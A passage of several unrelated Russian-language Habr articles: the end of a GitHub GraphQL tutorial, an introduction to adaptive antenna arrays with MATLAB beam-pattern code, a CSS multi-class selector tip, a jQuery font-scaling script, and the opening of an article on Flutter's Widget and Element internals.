`repository(owner:"octocat", name:"Hello-World") {`
Обращение к Объекту репозитория, с указанием владельца и имени.
`issues(last:20, states:CLOSED) {`
Запрашиваем двадцать последних проблем в статусе «Закрыто» (Чтобы запросить конкретную проблему, пришлось бы указать её порядковый номер в качестве аргумента).
`edges {`
Вообще Поле issues позволяет запрашивать несколько связанных объектов в рамках одного вызова. Чтобы получить данные об отдельных проблемах, мы должны получить доступ к узлу через edges. У каждого под-Поля edges есть под-под-Поля node и cursor.
`node {`
Содержит конечный узел. Именно в этом узле, согласно документации, находится информация об искомой ошибке. Курсор в данном примере не представлен в явном виде, но вообще используется для нумерации страниц (<https://graphql.org/learn/pagination/> )
`title, url}`
Наконец прочитав документацию (<https://docs.github.com/en/graphql/reference/objects#issue>) мы можем указать, какие именно Поля хотим получить. Здесь мы запрашиваем title и url, объекта Issue.
Вот примерный текст ответа:
```
{"data":{"repository":{"issues":{"edges":[{"node":
{"title":"title","url":"https://github.com/octocat/Hello-World/issues/987"}},
{"node":{"title":"title","url":"https://github.com/octocat/Hello-World/issues/988"}},
{"node":{"title":"123","url":"https://github.com/octocat/Hello-World/issues/993"}},
{"node":{"title":"Hello, world!","url":"https://github.com/octocat/Hello-World/issues/994"}},
{"node":{"title":"Jddjfjfnfn","url":"https://github.com/octocat/Hello-World/issues/1009"}}]}}}}
```
Мы можем видеть путь, вплоть до узла-окрестности, содержащей интересующую нас информацию ("data":"repository":"issues":"edges"), а так же размещённые там поля title и url.
Что бы получить структурированный список, пройдёмся по ответу циклом:
```
issuen = data['data']['repository']['issues']['edges']
for issu in issuen:
print(issu['node']['title'], '-' ,issu['node']['url'])
```
Получим аккуратный список вида «Название ошибки – URL»
На этом всё! Спасибо за внимание! Если Вам нужен более простой пример работающего кода, Вы можете найти его [здесь](https://habr.com/ru/post/569556/) | https://habr.com/ru/post/569560/ | null | ru | null |
# Адаптивные антенные решётки: как это работает? (Основы)
*Доброго времени суток.*
*Последние несколько лет я посвятил исследованию и созданию различных алгоритмов пространственной обработки сигналов в адаптивных антенных решётках, и продолжаю заниматься этим в рамках своей работы в настоящее время. Здесь я хотел бы поделиться теми знаниями и фишками, которые открыл для себя. Надеюсь, что это будет полезно для людей начинающих изучать эту область обработки сигналов или же просто интересующихся.*
Что такое адаптивная антенная решётка?
--------------------------------------
[Антенная решётка](https://ru.wikipedia.org/wiki/%D0%90%D0%BD%D1%82%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F_%D1%80%D0%B5%D1%88%D1%91%D1%82%D0%BA%D0%B0) – это набор антенных элементов, некоторым образом размещённых в пространстве. Упрощённо структуру адаптивной антенной решётки, которую мы будем рассматривать, можно представить в следующем виде:
Адаптивные антенные решётки не редко называют «умными» антеннами ([Smart antenna](https://en.wikipedia.org/wiki/Smart_antenna)). «Умной» антенную решётку делает блок пространственной обработки сигнала и алгоритмы, реализованные в нём. Эти алгоритмы анализируют принимаемый сигнал и формируют набор весовых коэффициентов , которые определяют амплитуду и начальную фазу сигнала для каждого из элементов. Заданное амплитудно-фазовое распределение определяет [диаграмму направленности](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D0%B0%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0_%D0%BD%D0%B0%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8) всей решётки в целом. Возможность синтезировать диаграмму направленности необходимой формы и изменять её в процессе обработки сигнала — одна из главных особенностей адаптивных антенных решёток, позволяющая решать широкий [спектр задач](#block_3). Но обо всём по порядку.
Как формируется диаграмма направленности?
-----------------------------------------
[Диаграмма направленности](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D0%B0%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0_%D0%BD%D0%B0%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8) характеризует мощность сигнала, излучаемую в некотором направлении. Для простоты положим элементы решётки изотропными, т.е. для каждого из них мощность излучаемого сигнала не зависит от направления. Усиление или ослабление мощности, излучаемой решёткой в некотором направлении, получается вследствие [интерференции](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D1%80%D0%B5%D0%BD%D1%86%D0%B8%D1%8F_%D0%B2%D0%BE%D0%BB%D0%BD) ЭМВ, излученных различными элементами антенной решётки. Устойчивая интерференционная картина для ЭМВ возможна только при условии их [когерентности](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%B3%D0%B5%D1%80%D0%B5%D0%BD%D1%82%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(%D1%84%D0%B8%D0%B7%D0%B8%D0%BA%D0%B0)), т.е. разность фаз сигналов не должна меняться со временем. В идеальном случае каждый из элементов антенной решётки должен излучать [гармонический сигнал](https://ru.wikipedia.org/wiki/%D0%93%D0%B0%D1%80%D0%BC%D0%BE%D0%BD%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%81%D0%B8%D0%B3%D0%BD%D0%B0%D0%BB) на одной и той же несущей частоте . Однако на практике приходится работать с узкополосными сигналами, имеющими спектр конечной ширины .
Пусть все элементы АР излучают один и тот же сигнал с [комплексной амплитудой](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BC%D0%BF%D0%BB%D0%B5%D0%BA%D1%81%D0%BD%D0%B0%D1%8F_%D0%B0%D0%BC%D0%BF%D0%BB%D0%B8%D1%82%D1%83%D0%B4%D0%B0) . Тогда на [удаленном](https://ru.wikipedia.org/wiki/%D0%94%D0%B0%D0%BB%D1%8C%D0%BD%D1%8F%D1%8F_%D0%B7%D0%BE%D0%BD%D0%B0) приёмнике принятый от n-ного элемента сигнал можно представить в [аналитическом](https://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%B0%D0%BB%D0%B8%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%81%D0%B8%D0%B3%D0%BD%D0%B0%D0%BB) виде:
где  – задержка в распространении сигнала от антенного элемента до точки приёма.
Такой сигнал является *«квазигармоническим»*, и для выполнения условия когерентности необходимо, чтобы максимальная задержка в распространении ЭМВ между любыми двумя элементами была много меньше характерного времени изменения огибающей сигнала , т.е. . Таким образом, условие на когерентность узкополосного сигнала можно записать следующим образом:
где  — максимальное расстояние между элементами АР, а  — скорость света.
При приёме сигнала когерентное суммирование производится в цифровом виде в блоке пространственной обработки. В этом случае комплексное значение цифрового сигнала на выходе этого блока определяется выражением:
Последнее выражение удобнее представить в виде [скалярного произведения](https://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B0%D0%BB%D1%8F%D1%80%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5) N-мерных комплексных векторов в матричной форме:
где **w** и **x** — векторы-столбцы, а  — операция [эрмитового сопряжения](https://ru.wikipedia.org/wiki/%D0%AD%D1%80%D0%BC%D0%B8%D1%82%D0%BE%D0%B2%D0%BE-%D1%81%D0%BE%D0%BF%D1%80%D1%8F%D0%B6%D1%91%D0%BD%D0%BD%D0%B0%D1%8F_%D0%BC%D0%B0%D1%82%D1%80%D0%B8%D1%86%D0%B0).
*Векторное представление сигналов является одним из базовых при работе с антенными решётками, т.к. часто позволяет избежать громоздких математических выкладок. Кроме того, отождествление принятого в некоторый момент времени сигнала с вектором часто позволяет абстрагироваться от реальной физической системы и понять, что же именно происходит с точки зрения геометрии.*
Чтобы рассчитать диаграмму направленности антенной решётки необходимо мысленно и последовательно «запустить» на неё набор [плоских волн](https://ru.wikipedia.org/wiki/%D0%9F%D0%BB%D0%BE%D1%81%D0%BA%D0%B0%D1%8F_%D0%B2%D0%BE%D0%BB%D0%BD%D0%B0#%D0%9A%D0%BE%D0%BC%D0%BF%D0%BB%D0%B5%D0%BA%D1%81%D0%BD%D0%B0%D1%8F_%D1%84%D0%BE%D1%80%D0%BC%D0%B0_%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D0%B8) со всех возможных направлений. В этом случае значения элементов вектора **x** можно представить в следующем виде:
где **k** – [волновой вектор](https://ru.wikipedia.org/wiki/%D0%92%D0%BE%D0%BB%D0%BD%D0%BE%D0%B2%D0%BE%D0%B9_%D0%B2%D0%B5%D0%BA%D1%82%D0%BE%D1%80),  и  – [азимутальный угол](https://ru.wikipedia.org/wiki/%D0%A1%D1%84%D0%B5%D1%80%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D0%BA%D0%BE%D0%BE%D1%80%D0%B4%D0%B8%D0%BD%D0%B0%D1%82) и [угол места](https://ru.wikipedia.org/wiki/%D0%A3%D0%B3%D0%BE%D0%BB_%D0%BC%D0%B5%D1%81%D1%82%D0%B0), характеризующие направление прихода плоской волны,  – координата антенного элемента,  – элемент фазирующего вектора **s** плоской волны с волновым вектором **k** (в англоязычной литературе фазирующий вектор называют steerage vector). Зависимость квадрата амплитуды величины *y* от  и  определяет диаграмму направленности антенной решётки на приём при заданном векторе весовых коэффициентов **w**.
Особенности диаграммы направленности антенной решётки
-----------------------------------------------------
Исследовать общие свойства диаграммы направленности антенных решёток удобно на линейной эквидистантной антенной решётке в горизонтально плоскости (т.е. ДН зависит только от азимутального угла ). Удобно с двух точек зрения: аналитических выкладок и визуального представления.
Рассчитаем ДН для единичного весового вектора (), следуя описанному [выше](#block_1) подходу.
**Математика тут**
Проекция волнового вектора на вертикальную ось: 
Вертикальная координата антенного элемента с индексом n: 
Здесь *d* – период антенной решётки (расстояние между соседними элементами), *λ* — длина волны. Все иные элементы вектора **r** равны нулю.
Принимаемый антенной решёткой сигнал записывается в следующем виде:
Применим формулу для [суммы геометрической прогрессии](https://ru.wikipedia.org/wiki/%D0%93%D0%B5%D0%BE%D0%BC%D0%B5%D1%82%D1%80%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B5%D1%81%D1%81%D0%B8%D1%8F#%D0%A1%D0%B2%D0%BE%D0%B9%D1%81%D1%82%D0%B2%D0%B0) и [представление тригонометрических функций через комплексные экспоненты](https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D1%80%D0%BC%D1%83%D0%BB%D0%B0_%D0%AD%D0%B9%D0%BB%D0%B5%D1%80%D0%B0#%D0%9F%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%BE%D0%B4%D0%BD%D1%8B%D0%B5_%D1%84%D0%BE%D1%80%D0%BC%D1%83%D0%BB%D1%8B) :
В итоге получим:
### Периодичность диаграммы направленности
Полученная диаграмма направленности антенной решётки – периодическая функция от синуса угла. Это значит, что при определённых значениях соотношения *d/λ* она имеет дифракционные (дополнительные) максимумы.
*Ненормированная диаграмма направленности антенной решётки для N = 5*
*Нормированная диаграмма направленности антенной решётки для N = 5 в полярной системе координат*
Положение «дифракционников» можно посмотреть напрямую из [формулы](#block_2) для ДН. Однако мы попробуем понять, откуда они берутся физически и геометрически (в N-мерном пространстве).
Элементы [фазирующего](#block_1) вектора **s** представляют собой комплексные экспоненты , значения которых определяются величиной обобщённого угла . Если существуют два обобщённых угла, соответствующих различным направлениям прихода плоской волны, для которых выполняется , то это значит две вещи:
* **Физически:** плоские волновые фронты, приходящие с этих направлений, индуцируют на элементах антенной решётки идентичные амплитудно-фазовые распределения электромагнитных колебаний.
* **Геометрически:** [фазирующие вектора](#block_1) для этих двух направлений совпадают.
*Связанные подобным образом направления прихода волны являются с точки зрения антенной решётки эквивалентными и не различимы между собой.*
Как определить область углов, в которой всегда лежит только один главный максимум ДН? Сделаем это в окрестностях нулевого азимута из следующих соображений: величина набега фаз между двумя соседними элементами должна лежать в интервале от  до .
Разрешая данное неравенство получим условие на область однозначности в окрестности нуля:
Видно, что размер области однозначности по углу зависит от соотношения *d/λ*. Если *d* = 0.5*λ*, то каждое направление прихода сигнала «индивидуально», а область однозначности охватывает полный диапазон углов. Если же *d* = 2.0*λ*, то направления 0, ±30, ±90 – эквивалентны. На диаграмме направленности появляются дифракционные лепестки.
*Обычно, дифракционные лепестки стремятся подавить с помощью направленных антенных элементов. В этом случае полная диаграмма направленности антенной решётки является произведением ДН одного элемента и решётки изотропных элементов. Параметры ДН одного элемента обычно выбирают исходя из условия на область однозначности антенной решётки.*
### Ширина главного лепестка
[Широко известна](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D0%B0%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0_%D0%BD%D0%B0%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8#%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D1%8B%D0%B5_%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F) инженерная формула для оценки ширины главного лепестка антенной системы: , где D – характерный размер антенны. Формула используется для различного вида антенн, в том числе зеркальных. Покажем, что она справедлива и для антенных решёток.
Определим ширину главного лепестка первыми нулями ДН в окрестности главного максимума. Числитель [выражения](#block_2) для  обращается в ноль при . Первые нули соответствуют m = ±1. [Полагая](https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%BC%D0%B5%D1%87%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D1%8B)  получаем .
Обычно ширину ДН направленности АР определяют по уровню половинной мощности (-3 дБ). В этом случае используют выражение: 
**Пример**
Шириной главного лепестка можно управлять, задавая различные значения амплитуд для весовых коэффициентов антенной решётки. Рассмотрим три распределения:
* Равномерное распределение амплитуды (weights 1): .
* Спадающее к краям решётки значения амплитуды (weights 2): 
* Увеличивающиеся к краям решётки значения амплитуды(weights 3): 
На рисунке показаны получившиеся нормированные диаграммы направленности в логарифмическом масштабе:
*Из рисунка можно проследить следующие тенденции: спадающее к краям решётки распределение амплитуд весовых коэффициентов приводит к уширению главного лепестка ДН, но уменьшению уровня боковых лепестков. Увеличивающиеся к краям антенной решётки значения амплитуд, напротив, приводят к сужению главного лепестка и увеличению уровня боковиков.* Здесь удобно рассмотреть предельные случаи:
1. Амплитуды весовых коэффициентов всех элементов, кроме крайних, равны нулю. Веса для крайних элементов равны единице. В этом случае решётка становится эквивалентна двухэлементной АР с периодом *D = (N-1)d*. Не трудно прикинуть по представленной выше формуле ширину главного лепестка. При этом боковики превратятся в дифракционные максимумы и выровнятся по уровню с главным максимумом.
2. Вес центрального элемента равен единице, а всех остальных – нулю. В этом случае мы получили по сути одну антенну с изотропной диаграммой направленности.
### Направление главного максимума
Итак, мы посмотрели, как можно регулировать ширину главного лепестка ДН АР. Теперь посмотрим, как порулить направлением. Вспомним [векторное выражение](#block_0) для принятного сигнала. Пусть мы хотим, что бы максимум диаграммы направленности смотрел в некотором направлении . Это значит, что с этого направления должна приниматься максимальная мощность. Данному направлению соответствует фазирующий вектор  в *N*-мерном векторном пространстве, а принимаемая мощность определяется как квадрат скалярного произведения этого фазирующего вектора на вектор весовых коэффициентов **w**. Скалярное произведение двух векторов максимально, когда они [коллинеарны](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BB%D0%BB%D0%B8%D0%BD%D0%B5%D0%B0%D1%80%D0%BD%D0%BE%D1%81%D1%82%D1%8C), т.е. , где *β* – некоторый нормирующий множитель. Таким образом, если мы выберем весовой вектор равным фазирующему для требуемого направления, то повернём максимум диаграммы направленности.
Рассмотрим в качестве примера следующие весовые коэффициенты: 
В итоге получим диаграмму направленности с главным максимумом в направлении 10°.
Теперь применим те же самые весовые коэффициенты, но не для приёма сигнала, а для передачи. Здесь стоит учесть, что при передаче сигнала направление волнового вектора меняется на противоположное. Это значит, что элементы [фазирующего вектора](#block_1) для приёма и передачи отличаются знаком в показателе экспоненты, т.е. связаны между собой комплексным сопряжением. В итоге получим максимум диаграммы направленности на передачу в направлении -10°, что не совпадает с максимумом ДН на приём при тех же весовых коэффициентах.Что бы исправить ситуацию, необходимо применить комплексное сопряжение также и к весовым коэффициентам.
*Описанную особенность формирования ДН на приём и передачу следует всегда иметь в виду при работе с антенными решётками.*
Поиграем с диаграммой направленности
------------------------------------
### Несколько максимумов
Поставим задачку сформировать два главных максимума диаграммы направленности в направлении: -5° и 10°. Для этого выберем в качестве весового вектора взвешенную сумму фазирующих векторов для соответствующих направлений.
Регулируя коэффициент *β* можно регулировать соотношение между главными лепестками. Здесь опять удобно посмотреть на происходящее в векторном пространстве. Если *β* больше 0.5, то вектор весовых коэффициентов лежит ближе к **s**(10°), иначе к **s**(-5°). Чем ближе весовой вектор к одному из фазоров, тем больше соответствующее скалярное произведение, а следовательно и величина соответствующего максимума ДН.
Однако стоит учесть, что оба главных лепестка имеют конечную ширину, и если мы захотим настроиться на два близких направления, то эти лепестки сольются в один, ориентированный на некоторое среднее направление.
### Один максимум и ноль
Теперь попробуем настроить максимум диаграммы направленности на направление  и одновременно подавить сигнал, приходящей с направления . Для этого необходимо выставить ноль ДН для соответствующего угла. Сделать это можно следующим образом:
где , а .
Геометрический смысл выбора весового вектора следующий. Мы хотим, что бы этот вектор **w** имел максимальную проекцию на  и при этом был ортогонален вектору . Вектор  можно представить в виде двух слагаемых: вектора коллинеарного  и вектор ортогонального . Чтобы удовлетворить постановке задачи, необходимо выбрать вторую компоненту в качестве вектора весовых коэффициентов **w**. Рассчитать коллинеарную компоненту можно спроектировав вектор  на нормированный вектор  с помощью скалярного произведения.
Соответственно, вычитая из исходного фазирующего вектора  его коллинеарную компоненту, получим искомый весовой вектор.
### Некоторые дополнительные замечания
1. Везде выше я опустил вопрос нормировки весового вектора, т.е. его длины. Так вот, нормировка весового вектора не влияет на характеристики диаграммы направленности антенной решётки: направление главного максима, ширину главного лепестка и т.п. Можно также показать, что эта нормировка не влияет и на ОСШ на выходе блока пространственной обработки. В связи с этим при рассмотрении алгоритмов пространственной обработки сигнала обычно принимаю единичную нормировку весового вектора, т.е. 
2. Возможности по формированию ДН антенной решётки определяются количеством элементов N. Чем больше элементов, тем шире возможности. Тем больше степеней свободы при осуществлении пространственной весовой обработки, больше вариантов как «покрутить» весовым вектором в N-мерном пространстве.
3. При осуществлении приёма ДН антенной решётки физически не существует, а все это существует лишь в «воображении» вычислительного блока, осуществляющего обработку сигнала. Это значит, что в один и тот же момент времени можно синтезировать несколько ДН и вести независимо обработку сигналов приходящих с различных направлений. В случае с передачей все несколько сложнее, однако также существует возможность синтезировать несколько ДН для передачи различных потоков данных. Такая технология в системах связи получила название [MIMO](https://ru.wikipedia.org/wiki/MIMO).
4. С помощью представленного matlab кода можно самостоятельно поиграться с ДН
**Код**
```
% antenna array settings
N = 10; % number of elements
d = 0.5; % period of antenna array
wLength = 1; % wavelength
mode = 'receiver'; % receiver or transmitter
% weights of antenna array
w = ones(N,1);
% w = 0.5 + 0.3*cos(2*pi*((0:N-1)-0.5*(N-1))/N).';
% w = 0.5 - 0.3*cos(2*pi*((0:N-1)-0.5*(N-1))/N).';
% w = exp(2i*pi*d/wLength*sin(10/180*pi)*(0:N-1)).';
% b = 0.5; w = b*exp(2i*pi*d/wLength*sin(+10/180*pi)*(0:N-1)).' + (1-b)*exp(2i*pi*d/wLength*sin(-5/180*pi)*(0:N-1)).';
% b = 0.5; w = b*exp(2i*pi*d/wLength*sin(+3/180*pi)*(0:N-1)).' + (1-b)*exp(2i*pi*d/wLength*sin(-3/180*pi)*(0:N-1)).';
% s1 = exp(2i*pi*d/wLength*sin(10/180*pi)*(0:N-1)).';
% s2 = exp(2i*pi*d/wLength*sin(-5/180*pi)*(0:N-1)).';
% w = s1 - (1/N)*s2*s2'*s1;
% w = s1;
% normalize weights
w = w./sqrt(sum(abs(w).^2));
% set of angle values to calculate pattern
angGrid_deg = (-90:0.5:90);
% convert degree to radian
angGrid = angGrid_deg * pi / 180;
% calculate set of steerage vectors for angle grid
switch (mode)
case 'receiver'
s = exp(2i*pi*d/wLength*bsxfun(@times,(0:N-1)',sin(angGrid)));
case 'transmitter'
s = exp(-2i*pi*d/wLength*bsxfun(@times,(0:N-1)',sin(angGrid)));
end
% calculate pattern
y = (abs(w'*s)).^2;
%linear scale
plot(angGrid_deg,y/max(y));
grid on;
xlim([-90 90]);
% log scale
% plot(angGrid_deg,10*log10(y/max(y)));
% grid on;
% xlim([-90 90]);
```
Какие задачи можно решать с помощью адаптивной антенной решётки?
----------------------------------------------------------------
**Оптимальный приём неизвестного сигнала**Если направление приход сигнала неизвестно (а если канал связи многолучевой, направлений вообще несколько), то проанализировав принимаемый антенной решёткой сигнал, можно сформировать оптимальный весовой вектор **w** так, что ОСШ на выходе блока пространственной обработки будет максимальным.
**Оптимальный приём сигнала на фоне помех**Здесь задача ставится следующим образом: пространственные параметры ожидаемого полезного сигнала известны, однако во внешней среде существуют источники помех. Необходимо максимизировать ОСШП на выходе АР, максимально понизив влияние помех на приём сигнала.
**Оптимальная переда сигнала пользователю**Данная задача решается в системах мобильной связи (4G, 5G), а также в Wi-Fi. Смысл прост: c помощью специальных пилотных сигналов в канале обратной связи пользователя производится оценка пространственных характеристик канала связи, и на её основе выбирается оптимальный для передачи вектор весовых коэффициентов.
**Пространственное мультиплексирование потоков данных**Адаптивные антенные решётки позволяют вести передачу данных нескольким пользователям в одно и то же время на одной и той же частоте, сформировав для каждого из них индивидуальную ДН. Данная технология называется MU-MIMO и в настоящее время активно внедряется (а где-то уже) в системы связи. Возможность пространственного мультиплексирования предусмотрена, например, в стандарте мобильной связи 4G LTE, Wi-Fi стандарте IEEE802.11ay, стандартах мобильной связи 5G.
**Виртуальные антенные массивы для радаров**Цифровые антенные решётки позволяют с помощью нескольких передащих антенных элементов сформировать для обработки сигнала виртуальную антенную решётку существенно больших размеров. Виртуальная решётка имеет все характеристики реальной, однако для своей реализации требует меньших аппаратных затрат.
**Оценка параметров источников излучения**Адаптивные антенные решётки позволяют решать задачу оценки числа, мощности, [угловых координат](https://en.wikipedia.org/wiki/Direction_of_arrival) источников радиоизлучения, устанавливать статистическую связь между сигналами различных источников. Главным достоинством адаптивных антенных решёток в этом вопросе является способность к сверхразрешению близкорасположенных источников излучения. Источников, угловое расстояние между которыми меньше ширины главного лепестка диаграммы направленности антенной решётки ([предел разрешения Релея](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D1%84%D1%80%D0%B0%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D1%8B%D0%B9_%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB)). Главным образом это становится возможным за счёт векторного представления сигнала, известной сигнальной модели, а также аппарата линейной математики.
*Спасибо за внимание* | https://habr.com/ru/post/449794/ | null | ru | null |
# CSS: селектор на два и более классов одновременно
Оказывается, чтобы выбрать элемент, принадлежащий классам foo и bar одновременно (, например), то можно писать так:
`div.foo.bar { ... }`
Выяснил случайно экспериментально. Не знал, стыдно. | https://habr.com/ru/post/62983/ | null | ru | null |
# Масштабирование текста в блоке с помощью Jquery
Недавно получил заказ, где между всего прочего нужно было сделать блок, в котором текст должен масштабироваться внутри блока. Т.е не зависит, сколько текста в блоке – весь текст должен быть видимым! Сначала думал считать символы, строки… Сверстал блок в котором должен находиться контент и при вводе текста заметил, что блок растягивается в зависимости от наполнения. Родилась идея сделать функцию, которая будет подбирать размер шрифта, сравнивая исходную высоту блока и настоящую. Так родилась вот эта функция:
```
function font_size_determination($block,height,width,font_size){
$block.css('font-size',font_size);
var block_height = $block.height();
var block_width = $block.width();
if (block_height > height || block_width > width){
font_size = font_size*0.9;
return font_size_determination($block,height,width,font_size);
} else {
return font_size;
}
}
```
Если подробно – то это рекурсивная функция – с помощью .css() подставляет размер шрифта блоку $block, который передан в функцию, потом проверяет его ширину и высоту. Если они соответствуют первоначально заданным параметрам – функция возвращает размер шрифта, если нет – уменьшает шрифт на 10% и проверяет, и так, пока блок не будет соответствовать заданным первоначально ширине и высоте.
Пример того, что получилось можно увидеть [здесь](https://jsfiddle.net/9gbjjde9/). Начинайте вводить текст в текстовом поле.
Вот код. CSS:
```
.left{
width:220px;
float:left;
}
.right{
width:100%;
padding-left:220px;
}
.right textarea{
width:100%;
height:100px;
}
.frame{
width:200px;
height:300px;
border:3px solid silver;
font-family:Arial;
}
.frame span {
display: table-cell;
vertical-align: middle;
}
.frame-content{
display:table;
width:100%;
height:30%;
background-color:black;
color:white;
padding:0 4px;
text-align:center;
}
.frame-content-2{
display:table;
width:100%;
height:70%;
background-color:white;
padding:0 4px;
}
```
HTML:
```
```
JAVASCRIPT:
```
$('#text').keyup(function(){
var text = $(this).val();
var $block = $('.left').find('.frame').find('.frame-content-2');
text_scaling($block,text);
});
$('#title-text').keyup(function(){
var text = $(this).val();
var $block = $('.left').find('.frame').find('.frame-content');
text_scaling($block,text);
});
function text_scaling($block,text){
var width_block = $block.width();
var height_block = $block.height();
text = text.replace(new RegExp('\r?\n','g'), '
');
$block.find('span').html(text);
if(text){
var start_font = height_block*0.8;
var font_size = font_size_determination($block,height_block,width_block,start_font);
$block.css('font-size',font_size);
}
}
function font_size_determination($block,height,width,font_size){
$block.css('font-size',font_size);
var block_height = $block.height();
var block_width = $block.width();
if (block_height > height || block_width > width){
font_size = font_size*0.9;
return font_size_determination($block,height,width,font_size);
} else {
return font_size;
}
}
```
Функцию font\_size\_determination я описал выше, кстати, ее можно использовать одну. Но для удобства (у меня три блока в которые необходимо вводить текст – на примере их 2) я сделал функцию text\_scaling, в которую передается блок и текст. Текст берется из textarea с помощью обработчика событий .keyup. Эта функция определяет стартовые высоту и ширину, к которым будет стремиться функция font\_size\_determination. Начальная высота шрифта задана в 80% от высоты блока.
После сохранения блока мне необходимо его вывести в шаблоне, чтобы текст располагался в нем как на образце во время ввода.
Для этого я использовал функцию text\_scaling, только теперь с помощью .each — обходя все блоки и подбирая размер шрифта в них.
```
$('.left').find('.frame').each(function(){
var $this = $(this);
var $title = $this.find('.frame-content');
var $content = $this.find('.frame-content-2');
$title.css('font-size','1px');
$content.css('font-size','1px');
var text_title = $title.find('span').html();
var text_content = $content.find('span').html();
text_scaling($title,text_title);
text_scaling($content,text_content);
});
```
[Здесь пример](https://jsfiddle.net/fqzsevfd/) (в примере 1 блок, но может быть больше).
Сначала шрифт уменьшается до размера 1 пиксель, чтобы не нарушились размеры блока, а потом функция сама подбирает необходимый шрифт для каждого блока.
Такой вот получился простой, но в то же время полезный скрипт. Надеюсь пригодится и вам. | https://habr.com/ru/post/309678/ | null | ru | null |
# Flutter под капотом
Всем привет! Меня зовут Михаил Зотьев, я работаю Flutter-разработчиком в [Surf](https://surf.ru/). Мне, как, наверное, большинству других разработчиков, которые работают с Flutter, больше всего нравится то, как просто создавать с его помощью красивые и удобные приложения. Чтобы войти во Flutter разработку, нужно совсем немного времени. Недавно я работал в геймдеве, а теперь полностью переключился на [кроссплатформенную мобильную разработку на Flutter](https://surf.ru/flutter).
В чём простота? С помощью десятка базовых виджетов можно собирать вполне приличные пользовательские интерфейсы. А со временем, когда багаж используемого скопится вполне приличный, вряд ли какая-то задача поставит вас в тупик: будь то необычный дизайн или изощренная анимация. А самое интересное — скорее всего вы сможете этим пользоваться, даже не задумываясь над вопросом: «А как оно вообще работает?».
Поскольку у Flutter открытые исходники, я решил разобраться с тем, что же там под капотом (on the Dart side of the Force), и поделиться этим с вами. Отдельно почитать про Dart и его преимущества можно в нашей статье "[Почему Flutter использует Dart, а не Kotlin или JavaScript](https://surf.ru/pochemu-flutter-ispolzuet-dart-a-ne-kotlin-ili-javascript/)".
Widget
------
Все мы не раз слышали фразу от команды разработчиков фреймворка: *«Всё во Flutter — это виджеты»*. Давайте посмотрим, так ли это на самом деле. Для этого обратимся к классу **Widget** (далее — виджет) и начнем постепенно знакомиться с содержимым.
Первое, что мы прочитаем в документации к классу:
> Describes the configuration for an [Element].
Оказывается, сам виджет — это лишь описание некоторого **Element** (далее — элемент).
> Widgets are the central class hierarchy in the Flutter framework. A widget is an immutable description of part of a user interface. Widgets can be inflated into elements, which manage the underlying render tree.
Если подытожить, то фраза *«Всё во Flutter — это виджеты»* — минимальный уровень понимания как всё устроено, чтобы пользоваться Flutter. Виджет является центральным классом в иерархии Flutter. В то же время вокруг него множество дополнительных механизмов, которые помогают фреймворку справляться со своей задачей.
Итак, мы узнали ещё несколько фактов:
* виджет — неизменяемое описание части пользовательского интерфейса;
* виджет связан с некоторым расширенным представлением, которое называется элемент;
* элемент управляет некоторой сущностью дерева рендеринга.
Вы наверняка заметили странность. Пользовательский интерфейс и неизменяемость очень плохо вяжутся между собой, я бы даже сказал, что это совсем несовместимые понятия. Но к этому мы ещё вернёмся, когда будет вырисовываться более полная картина устройства мира Flutter, а пока продолжим знакомиться с документацией виджета.
> Widgets themselves have no mutable state (all their fields must be final).
>
> If you wish to associate mutable state with a widget, consider using a [StatefulWidget], which creates a [State] object (via [StatefulWidget.createState]) whenever it is inflated into an element and incorporated into the tree.
Этот абзац немного дополняет первый пункт: если нам нужна изменяемая конфигурация, для этого используется специальная сущность **State** (далее — состояние), которая как раз и описывает текущее состояние этого виджета. Однако, состояние связано не с виджетом, а с его элементным представлением.
> A given widget can be included in the tree zero or more times. In particular a given widget can be placed in the tree multiple times. Each time a widget is placed in the tree, it is inflated into an [Element], which means a widget that is incorporated into the tree multiple times will be inflated multiple times.
